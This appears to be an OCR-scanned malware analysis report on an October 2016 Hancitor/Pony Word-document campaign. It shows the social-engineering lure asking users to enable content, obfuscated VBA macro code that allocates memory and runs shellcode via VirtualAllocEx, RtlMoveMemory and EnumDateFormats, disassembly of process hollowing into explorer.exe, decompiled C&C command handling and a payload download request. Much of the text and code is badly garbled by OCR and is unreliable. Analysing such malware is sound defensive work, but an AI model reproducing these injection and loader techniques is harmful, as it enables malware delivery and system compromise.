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mg Microsoft Word

Protected document

This document is only availible for desktop or laptop versions of Microsoft Office Word
Click "Enable editing” button from the yellow bar above

Once you have enabled editing, please click "Enable content” button

from the yellow bar above
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Dim salvelinus s String
Dim cruetstand

Dim otinsity

Dim hebetude

Dim burrock As String
Dim brassband

Sub bellwort (1

Dim pitched Az Long

Dim leadfree As Long

bleep = postpaid sottishness lancers. ControlTipText

metallurgical = 73 + 25 + 7267

fusiform = Right (bleep, metallurgical)

mandanuz = luxation. truisn (Fusiforn)

devolution = 8¢

serimp = B3

If devolution + serimp < 11 Then

develution = Llasef ("ca”) & Mid ("sdvancedrnossurxenorhyneus”, 9, 7)
otiosity = “aggrandizement”

nails = Right§ ("marrowmindedlac”, 3) & Mid("archesporetobacillusslnondshaped”, 11, 10)
Else

hebetude = brasshand % 3

serimp =

End If

dicamptodontidas = MidCmegalonani scsl fagymbhans”, 15, 2) & Uasaf ("5¢7)
myeloblast = "malathion”

#If HizB4 And Len("fortinet should create new signatuwre”) = 35 Then
Dim spproachable hs String

Dim communicating As scsteus

Dim contracter As Longftr

communicating sheet = 0

Dim wirginals As Byte

#lse

Dim inconceivableness s Byte

communicating =

Dim congridae As Leng

Dim centractor As Lemg

#End If

ufficit = 42 — 110 + B

v
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3 “ postpaid” Toggle Button
ControlTipText 7368

Iim pitched As Long
DIim leadfree As Long
bleep = postpaid sottishness. lancers. ControlTipText
metallurgical = T3 + 25 + T26T
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3.5 Toggle Button

5 ToggleButton ToggleButton
Button
w 2
Button = ToggleButton ControlTipText
ControlTipText I =Y

=Bl

— ]
L) &4 Hormal

E& Project (2016-10-26_01_09_0T_stat.
: Microsoft Word FHR
@ Thi =llocument

< i ]
FtE — lancers

lancers ToggleButton

lancers-.

Fadze
s ot [ éRa000000F-
xekStyle - 1. - fmBaclSiszlelpague -

aptiome

| BREButtont 1 VAR |

ontrolSource
ControlTipText BGHqACw TwS0DaFORG1 BH
Enabled True
Tahoma

Fomut.

3.6 ControlTipText
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ControlTipText
é M shellcode

uvan - o
For ketose = 0 To oto Slup bioclinatic
eirveumsztantially = abwatt (ketoze)

werhearance (fizzinedialrivemmstanti 0010 e

Siabariavine. Leg

Hewt kwteze
_bruietioegtad
— —
Byte( to 5525) H [e.a. [ Eroghit
—a. b N L3 e Lk g, ST A N

3.8 shellcode

Rt1MoveMemory  VirtualAllocEx
salient hopples

L 11 Tub you the righis;
Publiec Declare Sub Py Lib "ntdll” Alias “RilMeveemory” (id As Any, shan As Any, ByVal pentatilon As Long)
“with ny hands and fongue i 11 make you howl like a wolf!

‘Tust give me s call

3.9

unproductively =Y shellcode VirtuallocEx
Rt1MoveMemory  shellcode

=Y

[

salient slave, By¥al VarPir (mproductively) + 8, ¢ " Hunpr o ductivelyHiHIHHE M Bzl avedp

Dim honi As Integer

Dim omani As Long

Dim allet Az Long

scow = 0

flaming = 0

dexntrad = 4096

coaptation = hopples(-1, flaming, T386, dextrad, 64) BT VirtualillecExS3BCRITTESE

salient allot, ByVal VarPir (coaptation) + 5, 4 "G eoaptationBTHIAEEE A1 000

salient By¥al sllot. By¥al slave 7394 g slaveHiHE P RIEEEIE I Bla1 1ot it b, size = T304
| For solecism = 38 To 55

3.10 RtiIMoveMemory

D shellcode =Y EnumDateFormats
shellcode

“Like & gemie in the bottle
Publ1c Decls;g Fu.nct; on Dureato_;al Lib kgrne132 Alias EnumDateFormats'l'l' {Bv¥al lofromPune As dnw. Bvlgl ferocactus ds Anv. Bv¥el 1Faren_hs hnw) ks Lonz

e —
3.11 EnumbDateFormats
flashhack = 0
Dim condolence ks Long .
condolence = contractor + cleaning ':&Eﬁﬁgﬁ“ﬁfgclemin ( 3677 ) B E
| tricuspid = purgatorial (condelence, flashbaclk, flashbaclk) JlﬁFﬁEnwnDateFormats'ﬁ'liﬁ
berant = 8T

3.12 EnumDateFormats shellcode
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3.2 0x02. Shellcode

1 Shellcode

08B27 BESD 55

B8B27 GESE 8BEC

BB27BE6E 81EC CCA700888
BB27BEGG 64:A1 30000000
B8B27 BEGC 8B4B BC

8B27 BEGF 8B40 1C
B8B27BE72 8BLA BB
BB27BE7S

OB270E76

8B27BE77

ADnIACIO

BB27BEYS 85 BRFEFFFF
BB27PEYC  E8 SOFEFFFF
0BZ70EA1 59 pop
BB270EAZ 59 pop
BB270EAZ  6A 6B P
BB27PEAS  BBFA

BB27PEA7 58 pop
OBZ7OEAS  GA 65 pusit
OB270EAR  66:8985 TUFEFFI
BB270EE1 pop

s dean . . R -
|op
D&. :EZu | NH OE :
BB27 BEBE 66:8985 FBFEFFI -
BB27 BECS 58
0B27 BECH G6A 65

3.16 Shellcode

2 0x1000 magic 0x52415453
0x4C4C4146 GetMappedFileNameA

BA521113 ecx
mov dword ptr ss:[ebp-BxC],eax
mov esi,dword ptr ss:[ebp-8x4]

esi
call dword ptr ss:[ebp-98x8] kernel32.IsBadReadPtr
cmp eax,ebx
8 short eas2112c
81CE FFOFO000 esi,
EB 23 I short eas2114F
813E 53544152
75 1

817E B4 46M14C
BA52113B|, 75 12 short BAS2114F
8A52113D| 57 edi

BA52113E 8D85 34FBFFFF |lea eax,dword ptr ss:[ebp-Bx7CC]

BA521144 58 eax

BA521145 56 esi

BA521146 6A FF

BA521148 FF55 F4 call dword ptr ss:[ebp-BxC] psapi.GetMappedFileNaneA
BAS2114B 85ca test eax,eax

BA52114D 75 06 E short BA521155

OnS2114F| 46 inc esi

3.17 Shellcode

3 ADD  XOR
base64 =Y PE



6B27117a 59
6A B4
68 88
8271182 BE AC!
BB271187 56
BB271188 53
6B271189 FFD@O
BB27118B 8BCB
B8B27118D 804D
6B271198 3BCB
6B271192|., OF84
BB271198 8BU4S
83ce
8975
eB2711a1 2BCB
BB2711A3 sn1o
BB2711A5 FFu4b
BB2711A8 88140
6B2711AB L]

180808
SABa00

es
eb

mov esi,

i
H

call eax kernel3d2.Virtualalloc

mov ecx,eax
mov dword ptr ss:[ebp-8xC],ecx
cmp ecx,ebx
BB271580
;dword ptr ss:[ebp-8x4]

Fh4

F5830008
FC mou
[i[H
F8

F8
o

BB2711AC 395D F8

@B2711AF |~ 75 F2
88271181 33coe

64
e132.7(8000808

Il ~ se120E98

0

eax
eax
dwo
ecx
dl,
dwo

eax
dwo
sho

© eax

B88D5AAC

B
vd ptr ss:[ebp-Bx8],esi
.eax

rd ptr ss:[ebp-8x8]
,a1 copy data

rd ptr ss:[ebp-8x8],ebx
rt BB2711A3
,eax
[T

51

E8 11FCFFFF 0B27 GDDE
8B75 EC _duword
8D45 98

3.18 shellcode PE

explorer. exe

B812DEGE
B812DEGC
8812DEY 8
B812DE7 4

BE12DEYS
BE12DEYC
B812DEBA
B812DEBL

01C714B8
B812E37 4
SIS LS E TS
SIS LS E TS
SIS LS E TS
SIS LS E TS
GRS
SIS LS E TS

CALL to from B1C714B5
ModuleFileHame = "C:\WINDOWS\explorer.exe"
CommandLine = HULL

pProcessSecurity = HULL

pThreadSecurity = HULL

InheritHandles = FALSE

CreationFlags = CREATE_SUSPENDED
pEnvironment = HULL

3.19

explorer. exe

PE

unmap



BB2714C6 L) eax

BB2714C7 FFB5 6BFEFFFF dword ptr ss:[ebp-0x198]

BB2714CD FF95 BOBFEFFFF (gall dword ptr ss:[ebp-8x158] kernel32.GetThreadContext
BB2714D3 85CH test eax,eax

8B2714D5 |, OFBL B2000OO0O m BB27158D

BB2714DB BF 08004868 mov edi,

BB2714E0| 57 edi

BB2714E1 FFBS 64FEFFFF dword ptr ss:[ebp-8x19C]

BB2714E7 FF?5 SOFEFFFF (gall dword ptr ss:[ebp-8x1B8] ntdll.ZwUnmapViewlfSection
BB2714ED 8BLS FL mov eax,dword ptr ss:[ebp-8xC]

BB2714F B E8 6FF7FFFF call BB27BCG4

BB2714F5 6n 4@

BB2714F7 68 8083080868
BB2714FC 8BFB mou esi,eax

BB2714FE FF76 58

BB271581 57 edi

BB271582 FFBS 64FEFFFF dword ptr ss:[ebp-8z19C]

BB271588 FF95 6BFEFFFF (call dword ptr ss:[ebp-8x1A8] kernel32.UirtualAllocEx
BB27158E| B9LS FC mou duord ptr ss:[ebp-Bx4],erax

BB271511 3BC3 cmp eax,ebx

BB271513|, 74 78 m short BB27158D

BB271515 53

8B271516 FF76 54

AnnTaran e e

3.3 0x03. PE dump

1 explorer. exe PE dump g
Hancitor u
2 u C&C

{
int w3; //
if [1] = """ )
return 8;
if ( %al == "p" ) 77 T EE A T svchost i fT
{
= sub_u@1524(al + 2);
goto LABEL_16;
h
1F ( %1 == c* ) /7 Efnurnhil, HE5 A4
{
= sub_4@1DBE(al + 2);
LABEL_16:
return 1;
b

{iF ( %l == ‘e’ ) JF THMETE, HRTEAEAT
= sub_4B14C8(
goto LABEL_16;

if (%2l == '1' ) /5 THET, BEERMIT

= sub_4B14C8( + 2, 1);
goto LABEL_16;

+
M
=

—

wn

b
if ( *al t= "n' )

{

sub_481578






5) " pony u Pony u D
FTP \%

Strgam,C ortendi..
&il /wp 1nc1udes/pomo/pm dl1 HTTP/1.1
Accept: */¥ g
User-Age la/5.0 (windows NT 6.1; win64; x64; Trident/7.0; rv:11.0) Tlike Gecko

HTTP/1.1 200 OK

Date: Thu, 27 Oct 2016 02:00:56 GMT

Server: Apache/2.4.16 (Unix)

Last-Modified: wed, 26 Oct 2016 13:14:51 GMT
ETag © "11000-53tc4690a267c”

JACLepL-Ranges: bytes

Content-Length: 69632

Connection: Q

content-T 3

3.24 pony u

3.4
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4.1 APT

XERAHASESNE

W EE)
£EB luxation. bas [SEIE ZRAeC]
#E M "Public Declare PtrSafe Function epilithic Lib “kernel32” Alias “GetModul
eHandle® (1pNoduleName As LongPtr)’
"Public Declare PtrSafe Function hopples Lib "kernel32” Alias “VirtualAllocEx”
(ByVal jordanella As LongPtr, ByVal prebend As LongPtr, ByVal maxi As LongPtr, B

yVal friesian As LongPtr, ByVal arthur As LongPtr) As LongPtr’

"Public Declare PtrSafe Function purgatorial Lib "kernel32” Alias “EnusDsteFora

ats¥W" (ByVal 1pEnumFunc As Any, ByVal flagy

4.2

(723
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